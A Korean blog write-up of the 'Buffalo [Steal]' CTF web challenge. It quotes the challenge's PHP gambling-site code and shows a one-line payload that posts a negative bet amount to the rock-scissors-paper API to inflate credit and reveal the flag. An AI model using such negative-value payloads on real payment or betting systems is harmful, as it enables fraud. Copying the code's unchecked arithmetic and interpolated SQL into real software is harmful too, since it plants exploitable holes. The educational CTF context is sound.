티스토리 뷰
Buffalo [Steal] Writeup
Introduction
Buffalo [Steal] (269 pts, 39 solves)
적국이 암호화폐 세탁 목적으로 만든 겜블링 사이트에서 비밀 정보를 탈취하라.
URL : http://3.36.92.61/
Code Analysis
mypage.php
<?php
define("_BUFFALO_", 1);
define("_LOGIN_BYPASS_", 1);
include "__common.php";
if(isset($_POST["nick"])) {
$n = bin2hex($_POST["nick"]);
$u = bin2hex($user["userid"]);
$p = sha1($_POST["pw"]);
if($p !== $user["pw"]) {
die("<script nonce=$nonce>alert('Incorrect password'); location.href = '/mypage.php';</script>");
}
$conn->query("
UPDATE user SET nick = '$n' WHERE userid = '$u'
");
}
?>
<html>
<head>
<?php include "_head.php" ?>
</head>
<body>
<?php include "_navbar.php" ?>
<div class="row mt-5">
<form class="col-6 offset-3" method="POST">
<p class="mb-4">
Your current credit : <b><?=number_format($user["credit"])?> BFLs</b><br>
Your Level :
<?php
if ($user["credit"] > 1e8) {
$level = "VVIP";
}
else if ($user["credit"] > 1e5) {
$level = "VIP";
}
else if ($user["credit"] > 5e4) {
$level = "Platinum";
}
else if ($user["credit"] > 2e4) {
$level = "Gold";
}
else if ($user["credit"] > 1e4) {
$level = "Silver";
}
else if ($user["credit"] > 50) {
$level = "Bronze";
}
else if ($user["credit"] > 10) {
$level = "Useless";
}
else {
$level = "Poor";
}
echo $level;
?> <br>
<?php
$excl = "<span class='text-danger'>UNAVAILABLE</span>";
$x = scandir("__flag/");
foreach($x as $uuu) {
if($uuu[0] == '.') continue;
include "__flag/$uuu";
}
if ($level == "VVIP") {
$excl = "<span class='text-success'>$flag</span>";
}
else if ($level == "VIP") {
$excl = "<span class='text-warning'>".substr($flag, 0, 10)."</span> (trial)";
}
echo "VVIP Member Exclusive :: <b>$excl</b>";
?>
</p>
<div class="form-outline mb-4">
<input type="text" class="form-control" value="<?=$user["userid"]?>" disabled/>
<label class="form-label">User ID</label>
</div>
<div class="form-outline mb-4">
<input type="text" id="nick" name="nick" value="<?=$user["nick"]?>" class="form-control" />
<label class="form-label" for="nick">Nickname</label>
</div>
<div class="form-outline mb-4">
<input type="password" id="pw" name="pw" class="form-control" />
<label class="form-label" for="pw">Password</label>
</div>
<p>
For security reason, you only can change your nickname.<br>
In addition, you have to verify your password
</p>
<button type="submit" class="btn btn-primary btn-block mb-4">Update</button>
</form>
</div>
</body>
</html>
mypage.php 코드를 보면 VVIP 레벨이 되면 Flag 파일을 보여주는 것 같았습니다. 또한 VVIP 레벨이 되기 위해서는 100000000 BFL 이 필요하다는 것을 위 PHP 스크립트를 통해서 알 수 있습니다.
BFL 를 벌어들일 수 있는 타겟을 찾다가, 도박게임인 가위바위보 그리고 슬롯머신 코드를 보게 되었습니다.
먼저 슬롯머신 게임의 경우 어떤 경우에도 지게 되는 로직이었습니다.
game_slot.php
<?php
define("_BUFFALO_", 1);
include "../__common.php";
include "./_api_common.php";
if(isset($USER_DATA["amount"])) {
$am = (float)$USER_DATA["amount"];
$u = bin2hex($user["userid"]);
if($am > $user["credit"] || $am <= 0) {
error("Invalid bet");
}
mysqli_query($conn, "update user set credit = credit - $am where userid = '$u'");
success("You lose");
}
error("Invalid API call");
반면 가위바위보의 경우에는 확률적으로 이기는 로직이었습니다.
game_rsp.php
<?php
define("_BUFFALO_", 1);
include "../__common.php";
include "./_api_common.php";
$sel = $USER_DATA["sel"];
if($sel == "win" || $sel == "lose" || $sel == "draw") {
$am = (float)$USER_DATA["amount"];
$u = bin2hex($user["userid"]);
if($am > $user["credit"]) {
error("Invalid bet");
}
mysqli_query($conn, "update user set credit = credit - $am where userid = '$u'");
//0, 1, 2 : rock, scissors, paper
$stack = random_choice(array(
0 => 1, 1 => 1, 2 => 1
));
$result_table = array(
"win" => 100, "lose" => 100, "draw" => 100
);
//top secret: it's not fair game
$result_table[$sel] -= 5;
$result = random_choice($result_table);
$heap = $stack;
if($result == "win") {
$heap = ($stack + 1) % 3;
}
else if ($result == "lose") {
$heap = ($stack + 2) % 3;
}
$win = false;
if($result == $sel) {
$pay = $am * 1.95;
mysqli_query($conn, "update user set credit = credit + $pay where userid = '$u';");
$win = true;
}
success("", array(
"win" => $win,
"stack" => $stack,
"heap" => $heap
));
}
error("Invalid API call");
다만, 눈 여겨볼 점으로는 am 변수 값에 credit amount 값이 들어가게 되는데, mysql query 문을 보면 -(마이너스)연산자로 credit 값을 연산하고 있고, 음수에 대한 필터링이 별도로 없는 것을 알 수 있었습니다. 때문에 credit amount 값을 음수로 주어 비용으로 지불하는 값을 차감되는 게 아니라 오히려 돈을 불릴 수 있는 취약점이 발생하게 됩니다.
Exploit
공격 페이로드는 다음과 같습니다.
$.post("/api/game_rsp.php", {
amount: "-99999999999999",
sel: "win",
});
그리고 결과를 확인해보면 돈이 엄청 불어나 Flag 값이 보이는 것을 알 수 있습니다.
credit boom! flag boom!
Buffalo 다른 문제들의 풀이는 아래 링크를 참고하세요.
https://domdom2y2.github.io/posts/buffalo-steal-writeup/
'보안 > CTF' 카테고리의 다른 글
[HackTheBoo] [Web] Evaluation Deck Writeup(문제풀이) (0) | 2022.10.28 |
---|---|
[ASIS CTF] Beginner ducks Writeup (0) | 2022.10.25 |
[CyberSecurityRumble] [Web] NUMBAZ (15 solves) (0) | 2022.10.12 |
[WREKCTF] [Web] notes-3 (11 solves) (0) | 2022.10.05 |
[SekaiCTF] [Web] Sekai Game Start (0) | 2022.10.04 |